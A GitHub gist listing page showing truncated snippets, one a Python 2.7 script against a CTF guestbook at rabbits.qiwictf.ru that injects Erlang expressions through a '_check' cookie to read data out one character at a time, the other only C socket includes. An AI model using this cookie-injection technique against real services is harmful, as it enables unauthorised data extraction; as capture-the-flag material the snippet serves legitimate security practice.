Skip to content

Instantly share code, notes, and snippets.

View annmuor's full-sized avatar
🏠
Working from home

Ivan Agarkov annmuor

🏠
Working from home
  • Wargaming.net
  • Nicosia, Cyprus
  • X @annmuor
View GitHub Profile
#!/usr/bin/env python2.7
import requests
url = 'http://rabbits.qiwictf.ru/cgi-bin/guestbook.pl'
def check(f,maxlen=256):
result = ""
lastval = 0
lastzval = 0
counter = 0
for i in range(1, maxlen):
cookies = { '_check': '"lists:nth(%d,lists:flatten(io_lib:format([$~,$p],[%s])))"' % (i, f) }
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <strings.h>